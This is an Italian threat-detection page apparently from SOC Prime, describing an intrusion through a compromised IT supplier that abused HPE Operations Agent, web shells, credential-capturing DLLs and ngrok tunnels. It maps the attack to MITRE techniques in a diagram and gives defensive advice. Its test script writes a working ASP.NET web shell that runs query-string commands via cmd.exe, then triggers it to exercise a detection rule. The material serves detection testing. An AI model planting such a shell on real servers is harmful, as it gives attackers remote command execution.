Indagare un’Intrusione Furtiva Attraverso la Compromissione di Terze Parti

SOC Prime Team

Segui

Indagare un’Intrusione Furtiva Attraverso la Compromissione di Terze Parti

Detection stack

AIDR
Alert
ETL
Query

Rapporto
Flusso di Attacco
Rilevamenti
Simulazioni

Riepilogo

Il rapporto esamina un’intrusione furtiva in cui gli attori delle minacce hanno compromesso un fornitore di servizi IT di terze parti e poi abusato del legittimo HPE Operations Agent per distribuire web shell, DLL per il furto di credenziali e utilità di tunneling. Affidandosi a software di gestione fidato anziché a sfruttamenti evidenti, gli attaccanti sono stati in grado di mantenere l’accesso a lungo termine riducendo al minimo i segni evidenti di compromissione.

Indagine

Microsoft Incident Response ha tracciato l’attività dalla distribuzione iniziale della web shell su server esposti a internet fino all’esecuzione di VBScript tramite HPE Operations Agent. L’indagine ha poi scoperto la registrazione di fornitori di rete e DLL di filtro password malevoli nei controller di dominio, seguita dal riutilizzo delle credenziali raccolte e dall’uso di tunnel ngrok per supportare il movimento laterale nell’ambiente.

Mitigazione

Le difese raccomandate includono la riduzione e il controllo rigoroso dell’accesso fidato di terze parti, il monitoraggio della registrazione non autorizzata di DLL nei pacchetti di notifica LSA, il rilevamento di modifiche sospette alle web shell, l’applicazione del filtraggio stretto dell’uscita e garantire la copertura EDR su tutti gli endpoint.

Risposta

Se viene rilevata questa attività, isolare i sistemi compromessi, rimuovere le DLL e le web shell malevoli, revocare tutte le credenziali rubate, disabilitare fornitori di rete non autorizzati e cacciare il movimento laterale utilizzando i reperti raccolti.

"graph TB %% Definizioni delle classi classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#e6e6e6 classDef malware fill:#ff9999 %% Nodi – Accesso Iniziale action_initial_trusted["Azione – T1199 Relazione Fiduciaria Compromettere il fornitore di servizi IT di terze parti e utilizzare HPE Operations Agent fidato per eseguire codice malevolo."] class action_initial_trusted action tool_hpe_oa["Strumento – Nome: HPE Operations Agent (OA) Scopo: Agente legittimo utilizzato per eseguire script su server mirati."] class tool_hpe_oa tool %% Nodi – Esecuzione action_execution_vbscript["Azione – Esecuzione di VBScripts (T1059.005) Esegui abc003.vbs per la scoperta del sistema, della rete e di AD."] class action_execution_vbscript action file_abc003["File – Nome: abc003.vbs Tipo: Script Visual Basic"] class file_abc003 file %% Nodi – Persistenza (Web Shell) action_persistence_webshell["Azione – T1505.003 Componente Software del Server: Web Shell Distribuire Errors.aspx e Signoff.aspx web shell su server esposti a internet."] class action_persistence_webshell action file_errors["File – Nome: Errors.aspx Funzione: Web shell per esecuzione di comandi remoti."] class file_errors file file_signoff["File – Nome: Signoff.aspx Funzione: Web shell per esecuzione di comandi remoti."] class file_signoff file %% Nodi – Persistenza (DLL Fornitore di Rete) action_persistence_np_dll["Azione – T1556.008 DLL Fornitore di Rete Registrare mslogon.dll malevolo sui controller di dominio per catturare credenziali in chiaro."] class action_persistence_np_dll action file_mslogon["File – Nome: mslogon.dll Posizione: C:UtentiPubblicoMusicaabc123c.d"] class file_mslogon file %% Nodi – Persistenza (DLL Filtro Password) action_persistence_passdll["Azione – T1556.002 DLL Filtro Password Aggiungere passms.dll come pacchetto di notifica LSA su DC01/DC02 per intercettare i cambi di password."] class action_persistence_passdll action file_passms["File – Nome: passms.dll Posizione: C:ProgrammiDatiDiWindowsServiceUpdateDirIpd"] class file_passms file %% Nodi – Accesso alle Credenziali (File) action_cred_in_files["Azione – T1552.001 Credenziali Nei File Memorizzare le credenziali raccolte in file in chiaro o codificati su disco."] class action_cred_in_files action %% Nodi – Accesso alle Credenziali (Dump OS) action_os_credential_dump["Azione – T1003 Dump Delle Credenziali del SO Intercettazione basata su DLL fornisce dump delle credenziali senza strumenti esterni."] class action_os_credential_dump action %% Nodi – Movimento Laterale (Account Validi) action_lateral_local["Azione – T1078.003 Account Validi: Account Locali Riutilizzare le credenziali raccolte per autenticarsi tramite RDP e SMB."] class action_lateral_local action %% Nodi – Movimento Laterale (Servizi Remoti) action_lateral_remote["Azione – T1021 Servizi Remoti Stabilire sessioni RDP su tunnel ngrok criptati per muoversi lateralmente."] class action_lateral_remote action %% Nodi – Comando & Controllo (Proxy) action_c2_proxy["Azione – T1090 Proxy Distribuire ngrok come proxy a più salti per creare canali C&C segreti."] class action_c2_proxy action tool_ngrok["Strumento – Nome: ngrok Scopo: Creare tunnel TCP/HTTPS per il tunneling del traffico."] class tool_ngrok tool %% Nodi – Comando & Controllo (Tunneling Protocollo) action_c2_tunnel["Azione – T1572 Tunneling Protocollo Incasellare traffico C&C all’interno di tunnel ngrok per evitare il rilevamento."] class action_c2_tunnel action %% Nodi – Raccolta (Unità Condivisa di Rete) action_collection_share["Azione – T1039 Dati da Unità Condivisa di Rete Memorizzare file di credenziali codificati su condivisioni SMB remote prima dell’esfiltrazione."] class action_collection_share action %% Nodi – Evasione della Difesa (DLL Hijack) action_defense_dll["Azione – T1574.001 Hijack Flusso di Esecuzione: DLL msupdate.dll esfiltra dati tramite SMTP e SMB, camuffati da file immagine."] class action_defense_dll action file_msupdate["File – Nome: msupdate.dll Carico utile: Dati codificati inviati come icon02.jpeg."] class file_msupdate file %% Nodi – Persistenza (DLL Helper Winlogon) action_persistence_winlogon["Azione – T1547.004 DLL Helper Winlogon Registrare mslogon.dll come helper Winlogon per garantire l’esecuzione al logon."] class action_persistence_winlogon action %% Collegamenti – Flusso di Attacco action_initial_trusted –>|usa| tool_hpe_oa tool_hpe_oa –>|esegue| action_execution_vbscript action_execution_vbscript –>|esegue| file_abc003 action_execution_vbscript –>|porta a| action_persistence_webshell action_persistence_webshell –>|crea| file_errors action_persistence_webshell –>|crea| file_signoff action_persistence_webshell –>|abilita| action_persistence_np_dll action_persistence_np_dll –>|installa| file_mslogon action_persistence_np_dll –>|abilita| action_persistence_passdll action_persistence_passdll –>|installa| file_passms action_persistence_passdll –>|memorizza| action_cred_in_files action_cred_in_files –>|fornisce dati per| action_os_credential_dump action_os_credential_dump –>|abilita| action_lateral_local action_lateral_local –>|usa| action_lateral_remote action_lateral_remote –>|utilizza| tool_ngrok tool_ngrok –>|facilita| action_c2_proxy action_c2_proxy –>|abilita| action_c2_tunnel action_c2_tunnel –>|supporta| action_collection_share action_collection_share –>|fornisce file per| action_defense_dll action_defense_dll –>|usa| file_msupdate action_defense_dll –>|supporta| action_persistence_winlogon action_persistence_winlogon –>|si basa su| file_mslogon %% Styling class action_initial_trusted,action_execution_vbscript,action_persistence_webshell,action_persistence_np_dll,action_persistence_passdll,action_cred_in_files,action_os_credential_dump,action_lateral_local,action_lateral_remote,action_c2_proxy,action_c2_tunnel,action_collection_share,action_defense_dll,action_persistence_winlogon action class tool_hpe_oa,tool_ngrok tool class file_abc003,file_errors,file_signoff,file_mslogon,file_passms,file_msupdate file "

Flusso di Attacco

Narrazione dell’Attacco e Comandi:
1. Compromissione Iniziale: L’attaccante ottiene l’accesso in scrittura alla radice web (ad esempio, tramite credenziali rubate o punto di caricamento vulnerabile).
2. Distribuzione di Web-Shell: Caricano una web-shell ASP.NET malevola chiamata Errors.aspx (o modificano un esistente Signoff.aspx) che esegue comandi PowerShell arbitrari forniti tramite la stringa di query.
3. Attivazione della Shell: L’attaccante invia una richiesta HTTP GET alla shell con un payload di PowerShell nel cmd parametro, ad esempio, https://corp.example.com/Errors.aspx?cmd=whoami. Questa richiesta viene registrata da IIS, producendo un valore cs-uri-stem di /Errors.aspx – esattamente ciò che la regola Sigma corrisponde.

Script di Test di Regressione: Lo script riproduce i passaggi 2-3 (il caricamento è simulato copiando un file pre-costruito nella radice web; l’attivazione viene eseguita tramite Invoke-WebRequest).

# -------------------------------------------------
# Script di Simulazione Web-Shell – Windows Server/IIS
# -------------------------------------------------
param (
    [string]$WebRoot = "C:inetpubwwwroot",
    [string]$ShellName = "Errors.aspx",
    [string]$Payload = "whoami"
)

# 1. Distribuisci una semplice web-shell ASP.NET (minimale per il test)
$shellContent = @"
<%@ Page Language="C#" %>
<% 
string cmd = Request.QueryString["cmd"];
if (!String.IsNullOrEmpty(cmd)) {
    System.Diagnostics.Process.Start("cmd.exe", "/c " + cmd);
}
%>
"@

$shellPath = Join-Path $WebRoot $ShellName
Set-Content -Path $shellPath -Value $shellContent -Encoding UTF8 -Force

Write-Host "[+] Web-shell distribuito in $shellPath"

# 2. Dare al server web un momento per registrare il nuovo file
Start-Sleep -Seconds 2

# 3. Esegui la web-shell per generare l'entrata log di attivazione del rilevamento
$uri = "http://localhost/$ShellName?cmd=$Payload"
Invoke-WebRequest -Uri $uri -UseBasicParsing | Out-Null

Write-Host "[+] Web-shell attivato tramite $uri"
# -------------------------------------------------

Comandi di Pulizia: Rimuovere la web-shell di prova e tutti i file residui.

# Script di Pulizia – rimuovere la web-shell simulata
param (
    [string]$WebRoot = "C:inetpubwwwroot",
    [string]$ShellName = "Errors.aspx"
)
$shellPath = Join-Path $WebRoot $ShellName
if (Test-Path $shellPath) {
    Remove-Item -Path $shellPath -Force
    Write-Host "[+] Rimosso $shellPath"
} else {
    Write-Host "[-] File shell non trovato; nulla da pulire."
}

Unisciti alla piattaforma Detection as Code di SOC Prime per migliorare la visibilità sulle minacce più rilevanti per il tuo business. Per aiutarti a iniziare e aumentare immediatamente il valore, prenota ora un incontro con gli esperti di SOC Prime.

Iscriviti gratis